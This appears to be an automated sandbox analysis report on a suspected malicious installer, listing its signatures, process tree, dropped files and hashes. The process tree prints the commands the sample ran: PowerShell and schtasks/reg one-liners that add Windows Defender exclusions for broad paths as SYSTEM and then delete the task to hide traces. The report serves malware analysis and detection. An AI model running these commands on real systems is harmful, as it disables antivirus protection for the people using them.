Analysis

  • max time kernel
    142s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 04:46

General

  • Target
    install_q0.3.01.exe
  • Size 25.8MB
  • Sample260831-feey8aef95
  • SHA256 6a8903a09c97e93401949077ab6079673f41d344f31d4e4096b76fd06772e7be
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q0.3.01.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q0.3.01.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4368
  • C:\Users\Public\WglEyk\Vlcz7w.exe
    "C:\Users\Public\WglEyk\Vlcz7w.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3948
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WglEyk\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:3396
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WglEyk\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5880
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2572
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1076
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:1060
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6120
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3716
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1452
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:3092
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5284
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3676
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1868
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:2396
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1732
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5744
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4236
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:5648
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:6100
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4492
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5636
                      • C:\Users\Public\WglEyk\Vlcz7w.exe
                        "C:\Users\Public\WglEyk\Vlcz7w.exe"
                        1⤵
                          PID:3580
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WglEyk" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:2564
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WglEyk" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:4320
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:2692
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:3064
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:6064

                            Network

                                  MITRE ATT&CK Enterprise v16

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                                  Downloads

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\WglEyk\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 d85864ade0242b63c77195433488ecc231aba4a1df37f694b9ed45b826ff943b
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  Vlcz7w.exe

                                  • Path C:\Users\Public\WglEyk\Vlcz7w.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\WglEyk\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 7a33c14a6aa92c6ff9db69ed9e8883f27b61f18b9829f725525991a3914215fe
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\WglEyk\msadox.tb
                                  • Size 8KB
                                  • SHA256 78e1b9c28ea92c4d6c02d7c754cfb75a162402c83a9dbca66ee3b36994b2b449
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/2992-551-0x00000126312A0000-0x0000012631B27000-memory.dmp

                                  memory/2992-560-0x0000012630850000-0x00000126308DA000-memory.dmp

                                  memory/2992-567-0x00000126312A0000-0x0000012631B27000-memory.dmp

                                  memory/2992-531-0x00007FFEAE7D0000-0x00007FFEAE7D2000-memory.dmp

                                  memory/2992-532-0x00007FFE8BC00000-0x00007FFE8C11E000-memory.dmp

                                  memory/2992-566-0x00000126312A0000-0x0000012631B27000-memory.dmp

                                  memory/2992-564-0x00000126312A0000-0x0000012631B27000-memory.dmp

                                  memory/2992-537-0x00000126312A0000-0x0000012631B27000-memory.dmp

                                  memory/2992-539-0x00007FFEAE7E0000-0x00007FFEAE7E2000-memory.dmp

                                  memory/2992-544-0x00000126312A0000-0x0000012631B27000-memory.dmp

                                  memory/2992-540-0x00000126312A0000-0x0000012631B27000-memory.dmp

                                  memory/2992-545-0x00000126312A0000-0x0000012631B27000-memory.dmp

                                  memory/2992-546-0x00000126312A0000-0x0000012631B27000-memory.dmp

                                  memory/2992-547-0x00000126312A0000-0x0000012631B27000-memory.dmp

                                  memory/2992-561-0x0000012630850000-0x00000126308DA000-memory.dmp

                                  memory/2992-557-0x000001262EF20000-0x000001262EF6E000-memory.dmp

                                  memory/2992-559-0x0000012630850000-0x00000126308DA000-memory.dmp

                                  memory/2992-562-0x0000012630850000-0x00000126308DA000-memory.dmp

                                  memory/3580-580-0x000001A2B73F0000-0x000001A2B7C77000-memory.dmp

                                  memory/3580-579-0x00007FFEAE7E0000-0x00007FFEAE7E2000-memory.dmp

                                  memory/3580-590-0x000001A2B73F0000-0x000001A2B7C77000-memory.dmp

                                  memory/3580-591-0x00007FFEAE7D0000-0x00007FFEAE7D2000-memory.dmp

                                  memory/3580-588-0x000001A2B73F0000-0x000001A2B7C77000-memory.dmp

                                  memory/3580-574-0x00007FFE8BC00000-0x00007FFE8C11E000-memory.dmp

                                  memory/3580-586-0x000001A2B73F0000-0x000001A2B7C77000-memory.dmp

                                  memory/3580-587-0x000001A2B73F0000-0x000001A2B7C77000-memory.dmp

                                  memory/3580-577-0x000001A2B73F0000-0x000001A2B7C77000-memory.dmp

                                  memory/3948-604-0x000002343EBA0000-0x000002343EBC2000-memory.dmp

                                  memory/4368-526-0x00007FFEA5DD0000-0x00007FFEA5DE2000-memory.dmp

                                  memory/4368-0-0x0000000000440000-0x000000000044E000-memory.dmp

                                  memory/4368-525-0x0000000000440000-0x000000000044E000-memory.dmp

                                  memory/4368-503-0x00007FFEA5DD0000-0x00007FFEA5DE2000-memory.dmp

                                  memory/4368-1-0x00000000008B0000-0x00000000008BC000-memory.dmp